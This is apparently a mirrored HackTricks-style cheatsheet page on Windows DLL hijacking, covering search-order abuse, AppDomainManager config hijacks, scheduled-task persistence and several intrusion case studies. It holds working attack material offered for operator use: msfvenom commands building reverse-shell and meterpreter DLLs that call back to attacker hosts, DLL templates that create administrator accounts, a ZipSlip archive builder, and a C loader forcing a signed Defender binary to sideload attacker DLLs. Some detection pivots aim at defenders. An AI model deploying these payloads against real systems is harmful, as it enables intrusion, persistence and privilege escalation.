repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
overview.mdMarkdown771 lines49.7 KiBsource raw download

title: "DLL Hijacking" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: true modified: true license: "CC-BY-NC-4.0"#

DLL Hijacking#

Basic Information#

DLL Hijacking involves manipulating a trusted application into loading a malicious DLL. This term encompasses several tactics like DLL Spoofing, Injection, and Side-Loading. It's mainly utilized for code execution, achieving persistence, and, less commonly, privilege escalation. Despite the focus on escalation here, the method of hijacking remains consistent across objectives.

Common Techniques#

Several methods are employed for DLL hijacking, each with its effectiveness depending on the application's DLL loading strategy:[4]

  1. DLL Replacement: Swapping a genuine DLL with a malicious one, optionally using DLL Proxying to preserve the original DLL's functionality.
  2. DLL Search Order Hijacking: Placing the malicious DLL in a search path ahead of the legitimate one, exploiting the application's search pattern.
  3. Phantom DLL Hijacking: Creating a malicious DLL for an application to load, thinking it's a non-existent required DLL.
  4. DLL Redirection: Modifying search parameters like %PATH% or .exe.manifest / .exe.local files to direct the application to the malicious DLL.
  5. WinSxS DLL Replacement: Substituting the legitimate DLL with a malicious counterpart in the WinSxS directory, a method often associated with DLL side-loading.
  6. Relative Path DLL Hijacking: Placing the malicious DLL in a user-controlled directory with the copied application, resembling Binary Proxy Execution techniques.

Windows Cpython Build Landmark Sys Path Hijacking

AppDomainManager hijacking (<exe>.config + attacker assembly)#

Classic DLL sideloading is not the only way to make a trusted .NET Framework process load attacker code. If the target executable is a managed application, the CLR also consults an application configuration file named after the executable (for example Setup.exe.config). That file can define a custom AppDomainManager. If the config points to an attacker-controlled assembly placed next to the EXE, the CLR loads it before the application's normal code path and runs inside the trusted process.[24]

Per Microsoft's .NET Framework configuration schema, both <appDomainManagerAssembly> and <appDomainManagerType> must be present for the custom manager to be used.[16][17]

Minimal config:

<configuration>
  <runtime>
    <appDomainManagerAssembly value="EvilMgr, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
    <appDomainManagerType value="EvilMgr.Loader" />
  </runtime>
</configuration>

Minimal manager:

using System; using System.Runtime.InteropServices;
public sealed class Loader : AppDomainManager {
  [DllImport("user32.dll")] static extern int MessageBox(IntPtr h, string t, string c, int m);
  public override void InitializeNewDomain(AppDomainSetup appDomainInfo) {
    MessageBox(IntPtr.Zero, "Loaded inside trusted .NET host", "AppDomain hijack", 0);
  }
}

Practical notes:

AppDomainManager as a downloader + scheduled-task bootstrap#

A practical intrusion pattern is to pair the trusted managed EXE with both a malicious *.config and a malicious AppDomainManager DLL that acts only as a small bootstrapper:[25]

  1. User launches a signed .NET installer or updater from a believable location such as %USERPROFILE%\Downloads.
  2. The adjacent config causes the CLR to load the attacker assembly before the legitimate app logic starts.
  3. The malicious manager performs a path gate (for example, only continue if the host EXE is running from Downloads, and only let the second stage run from %LOCALAPPDATA%).
  4. If the check passes, it downloads the real payload into a user-writable path such as %LOCALAPPDATA%\PerfWatson2.exe and installs persistence with a scheduled task.

Why this variant matters:

Minimal persistence example frequently seen with this pattern:

schtasks /create /tn "GoogleUpdaterTaskSystem140.0.7272.0" /sc onlogon /tr "%LOCALAPPDATA%\PerfWatson2.exe" /rl highest /f

Notes:

Detection pivots:

Hijacking an existing scheduled task to relaunch the sideload chain#

For persistence, do not only look for creating a new task. Some intrusion sets wait until a legitimate installer creates a normal updater task and then rewrite the task action so the existing name, author, and trigger stay familiar to defenders.

Reusable workflow:

  1. Install/run the legitimate software and identify the task it normally creates.
  2. Export the task XML and note the current <Exec><Command> / <Arguments> values.[23]
  3. Replace only the action so the task starts your trusted host EXE from a user-writable staging directory, which then side-loads or AppDomain-loads the real payload.
  4. Re-register the same task name instead of creating a new obvious persistence artifact.
schtasks /query /tn "<TaskName>" /xml > task.xml
:: edit the <Exec><Command> and optional <Arguments> nodes
schtasks /create /tn "<TaskName>" /xml task.xml /f

Why it is stealthier:

Fast hunting pivots:

[!TIP] For a step-by-step chain that layers HTML staging, AES-CTR configs, and .NET implants on top of DLL sideloading, review the workflow below.

Advanced Html Staged Dll Sideloading

Finding missing DLLs#

The most common way to find missing Dlls inside a system is running procmon from sysinternals, setting the following 2 filters:

Common Techniques - Finding missing Dlls: The most common way to find missing Dlls inside a system is running procmon from sysinternals, setting the following 2 filters

Common Techniques - Finding missing Dlls: The most common way to find missing Dlls inside a system is running procmon from sysinternals, setting the following 2 filters

and just show the File System Activity:

Common Techniques - Finding missing Dlls: and just show the File System Activity

If you are looking for missing dlls in general you leave this running for some seconds.
If you are looking for a missing DLL inside a specific executable, set another filter such as "Process Name" "contains" <exec name>, execute it, and stop capturing events.[9]

Exploiting Missing DLLs#

To escalate privileges, look for a DLL that a privileged process tries to load from a location you can write to. This can happen when you control a directory searched before the directory containing the legitimate DLL, or when the requested DLL does not exist and you can write to one of the searched directories.

Dll Search Order#

Inside the Microsoft documentation you can find how the Dlls are loaded specifically.

Windows applications look for DLLs by following a set of pre-defined search paths, adhering to a particular sequence. The issue of DLL hijacking arises when a harmful DLL is strategically placed in one of these directories, ensuring it gets loaded before the authentic DLL. A solution to prevent this is to ensure the application uses absolute paths when referring to the DLLs it requires.

You can see the DLL search order on 32-bit systems below:

  1. The directory from which the application loaded.
  2. The system directory. Use the GetSystemDirectory function to get the path of this directory.(C:\Windows\System32)
  3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (C:\Windows\System)
  4. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
    1. (C:\Windows)
  5. The current directory.
  6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.

That is the default search order with SafeDllSearchMode enabled. When it's disabled the current directory escalates to second place. To disable this feature, create the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode registry value and set it to 0 (default is enabled).

If LoadLibraryEx function is called with LOAD_WITH_ALTERED_SEARCH_PATH the search begins in the directory of the executable module that LoadLibraryEx is loading.

Finally, a DLL can be loaded by absolute path rather than by name. In that case, Windows looks only at that path for the DLL itself; dependencies requested by name still follow the applicable search order.

There are other ways to alter the ways to alter the search order but I'm not going to explain them here.

Chaining an arbitrary file write into a missing-DLL hijack#

Related technique: oplock-gated mount-point switching against privileged remediation.

  1. Use ProcMon filters (Process Name = target EXE, Path ends with .dll, Result = NAME NOT FOUND) to collect DLL names that the process probes but cannot find.[14]
  2. If the binary runs on a schedule/service, dropping a DLL with one of those names into the application directory (search-order entry #1) will be loaded on the next execution. In one .NET scanner case the process looked for hostfxr.dll in C:\samples\app\ before loading the real copy from C:\Program Files\dotnet\fxr\....
  3. Build a payload DLL (e.g. reverse shell) with any export: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=443 -f dll -o hostfxr.dll.
  4. If your primitive is a ZipSlip-style arbitrary write, craft a ZIP whose entry escapes the extraction dir so the DLL lands in the app folder:
import zipfile
with zipfile.ZipFile("slip-shell.zip", "w") as z:
    z.writestr("../app/hostfxr.dll", open("hostfxr.dll","rb").read())
  1. Deliver the archive to the watched inbox/share; when the scheduled task re-launches the process it loads the malicious DLL and executes your code as the service account.

Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath#

An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdll’s native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory.

Key idea

Notes/limitations

Minimal C example (ntdll, wide strings, simplified error handling):

Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")

// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
    PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
    PUNICODE_STRING ImagePathName,
    PUNICODE_STRING DllPath,
    PUNICODE_STRING CurrentDirectory,
    PUNICODE_STRING CommandLine,
    PVOID Environment,
    PUNICODE_STRING WindowTitle,
    PUNICODE_STRING DesktopInfo,
    PUNICODE_STRING ShellInfo,
    PUNICODE_STRING RuntimeData,
    ULONG Flags
);

typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
    PUNICODE_STRING NtImagePathName,
    ULONG Attributes,
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
    PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
    HANDLE ParentProcess,
    BOOLEAN InheritHandles,
    HANDLE DebugPort,
    HANDLE ExceptionPort,
    PRTL_USER_PROCESS_INFORMATION ProcessInformation
);

static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
    DWORD n = GetModuleFileNameW(h, out, cch);
    for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}

int wmain(void) {
    // Target Microsoft-signed, DLL-hijackable binary (example)
    const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";

    // Build custom DllPath = directory of our current module (e.g., the unpacked archive)
    wchar_t dllDir[MAX_PATH];
    DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);

    UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
    RtlInitUnicodeString(&uImage, image);
    RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
    RtlInitUnicodeString(&uDllPath, dllDir);      // Attacker-controlled directory
    RtlInitUnicodeString(&uCurDir, dllDir);

    RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
        (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
    RtlCreateUserProcess_t pRtlCreateUserProcess =
        (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");

    RTL_USER_PROCESS_PARAMETERS *pp = NULL;
    NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
                                                NULL, NULL, NULL, NULL, NULL, 0);
    if (st < 0) return 1;

    RTL_USER_PROCESS_INFORMATION pi = {0};
    st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
    if (st < 0) return 1;

    // Resume main thread etc. if created suspended (not shown here)
    return 0;
}

Operational usage example

This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory.[6]

.NET AppDomainManager hijacking via .exe.config#

For .NET Framework targets, sideloading can be done before Main() without patching memory by abusing the application's adjacent .exe.config file. Instead of relying only on the Win32 DLL search order, the attacker places a legitimate .NET EXE next to a malicious config and one or more attacker-controlled assemblies.

How the chain works:[15][22]

  1. The host EXE starts and the CLR reads <exe>.config.
  2. The config sets <appDomainManagerAssembly> and <appDomainManagerType> so the runtime instantiates an attacker-controlled AppDomainManager.
  3. The malicious manager gets pre-Main() execution inside the trusted host process.
  4. The same config can force the CLR to resolve local assemblies first (for example InitInstall.dll, Updater.dll, uevmonitor.dll) and can weaken runtime validation/telemetry without inline patching.

Campaign-style pattern (exact nesting can vary by directive / CLR version):

<configuration>
  <runtime>
    <appDomainManagerAssembly value="Updater" />
    <appDomainManagerType value="MyAppDomainManager" />
    <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
      <probing privatePath="." />
      <publisherPolicy apply="no" />
    </assemblyBinding>
    <bypassTrustedAppStrongNames enabled="true" />
    <etwEnable enabled="false" />
  </runtime>
  <startup>
    <requiredRuntime version="v4.0.30319" safemode="true" />
  </startup>
</configuration>

Why this is useful:

Operational pattern seen in recent campaigns:

Hunting ideas:

Exceptions on dll search order from Windows docs#

Certain exceptions to the standard DLL search order are noted in Windows documentation:

Escalating Privileges#

Requirements:

These prerequisites are uncommon by default: privileged executables do not usually have missing DLL dependencies, and standard users normally cannot write to system search-path directories. Misconfigured environments can still expose both conditions.
If the requirements are met, check the UACME project. Although its main goal is UAC bypass, it contains DLL-hijacking PoCs for specific Windows versions that can often be adapted to the writable directory you found.

Note that you can check your permissions in a folder doing:[5]

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

And check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

You can also check the imports of an executable and the exports of a dll with:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

For a full guide on how to abuse DLL Hijacking to escalate privileges with permissions to write in a System Path folder check:

Writable Sys Path Dll Hijacking Privesc

Automated tools#

Winpeas will check if you have write permissions on any folder inside system PATH.
Other interesting automated tools to discover this vulnerability are PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack and Write-HijackDll.

Example#

In case you find an exploitable scenario one of the most important things to successfully exploit it would be to create a dll that exports at least all the functions the executable will import from it. Anyway, note that DLL Hijacking comes handy in order to escalate from Medium Integrity level to High (bypassing UAC) or from High Integrity to SYSTEM. You can find an example of how to create a valid dll inside this dll hijacking study focused on DLL hijacking for execution: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Moreover, in the next section you can find some basic dll codes that might be useful as templates or to create a dll with non required functions exported.

Creating and compiling DLLs#

DLL Proxifying#

Basically a DLL proxy is a DLL capable of execute your malicious code when loaded but also to expose and work as exected by relaying all the calls to the real library.

With the tool DLLirant or Spartacus you can actually indicate an executable and select the library you want to proxify and generate a proxified dll or indicate the DLL and generate a proxified dll.

Meterpreter#

Get rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Get a meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Create a user (x86 I didn't see a x64 version):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Your own#

In many cases, the DLL you compile must export every function imported by the victim process. If a required export is missing, the binary cannot resolve it and the exploit fails.

C DLL template (Win10)
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    switch(dwReason){
        case DLL_PROCESS_ATTACH:
            system("whoami > C:\\users\\username\\whoami.txt");
            WinExec("calc.exe", 0); //This doesn't accept redirections like system
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
        system("cmd.exe /k net localgroup administrators user /add");
        ExitProcess(0);
    }
    return TRUE;
}
C++ DLL example with user creation
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
  WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  owned();
  return 0;
}
Alternate C DLL with thread entry
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
    system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call){
        case DLL_PROCESS_ATTACH:
            CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DEATCH:
            break;
    }
    return TRUE;
}

Case Study: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)#

Windows Narrator.exe still probes a predictable, language-specific localization DLL on start that can be hijacked for arbitrary code execution and persistence.[7]

Key facts

Discovery with Procmon

Minimal DLL

// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
  if (r == DLL_PROCESS_ATTACH) {
    // Optional OPSEC: DisableThreadLibraryCalls(h);
    // Suspend/quiet Narrator main thread, then run payload
    // (see PoC for implementation details)
  }
  return TRUE;
}

OPSEC silence

Trigger and persistence via Accessibility configuration

RDP-triggered SYSTEM execution (lateral movement)

Bring Your Own Accessibility (BYOA)

Notes

Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe#

This case demonstrates Phantom DLL Hijacking in Lenovo's TrackPoint Quick Menu (TPQMAssistant.exe), tracked as CVE-2025-1729.[2][3]

Vulnerability Details#

Exploit Implementation#

An attacker can place a malicious hostfxr.dll stub in the same directory, exploiting the missing DLL to achieve code execution under the user's context:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Payload: display a message box (proof-of-concept)
        MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
    }
    return TRUE;
}

Attack Flow#

  1. As a standard user, drop hostfxr.dll into C:\ProgramData\Lenovo\TPQM\Assistant\.
  2. Wait for the scheduled task to run at 9:30 AM under the current user's context.
  3. If an administrator is logged in when the task executes, the malicious DLL runs in the administrator's session at medium integrity.
  4. Chain standard UAC bypass techniques to elevate from medium integrity to SYSTEM privileges.

Case Study: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)#

Threat actors frequently pair MSI-based droppers with DLL side-loading to execute payloads under a trusted, signed process.[10]

Chain overview

MSI analysis (what to look for)

' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)

Practical sideloading with wsc_proxy.exe

// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
  if (r == DLL_PROCESS_ATTACH) {
    WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
  }
  return TRUE;
}

Signed triads + encrypted payloads (ShadowPad case study)#

Check Point described how Ink Dragon deploys ShadowPad using a three-file triad to blend in with legitimate software while keeping the core payload encrypted on disk:[12]

  1. Signed host EXE – vendors such as AMD, Realtek, or NVIDIA are abused (vncutil64.exe, ApplicationLogs.exe, msedge_proxyLog.exe). The attackers rename the executable to look like a Windows binary (for example conhost.exe), but the Authenticode signature remains valid.
  2. Malicious loader DLL – dropped next to the EXE with an expected name (vncutil64loc.dll, atiadlxy.dll, msedge_proxyLogLOC.dll). The DLL is usually an MFC binary obfuscated with the ScatterBrain framework; its only job is to locate the encrypted blob, decrypt it, and reflectively map ShadowPad.
  3. Encrypted payload blob – often stored as <name>.tmp in the same directory. After memory-mapping the decrypted payload, the loader deletes the TMP file to destroy forensic evidence.

Tradecraft notes:

LOLBAS stager + staged archive sideloading chain (finger → tar/curl → WMI)#

Operators pair DLL sideloading with LOLBAS so the only custom artifact on disk is the malicious DLL next to the trusted EXE:[1]

Case Study: NSIS dropper + Bitdefender Submission Wizard sideload (Chrysalis)#

A recent Lotus Blossom intrusion abused a trusted update chain to deliver an NSIS-packed dropper that staged a DLL sideload plus fully in-memory payloads.[13]

Tradecraft flow

Main shellcode (Chrysalis)

Embedded configuration & C2

Alternate loader observed

C:\ProgramData\USOShared\tcc.exe -nostdlib -run conf.c

Signed-host sideloading with export proxying + host thread parking#

Some DLL sideloading chains add stability engineering so the legitimate host stays alive long enough to load later stages cleanly instead of crashing after the malicious DLL is loaded.[11]

Observed pattern

Why this matters

Minimal workflow

  1. Copy the signed host EXE and determine the DLL it resolves from the local directory.
  2. Build a proxy DLL exporting the same functions and forwarding them to the legitimate DLL.
  3. In DllMain(DLL_PROCESS_ATTACH), create a worker thread.
  4. From that thread, patch the host entry point or main thread start routine so it loops on Sleep.
  5. Decrypt the next-stage DLL name/config and call LoadLibrary or manual-map the payload.

Defensive pivots

References#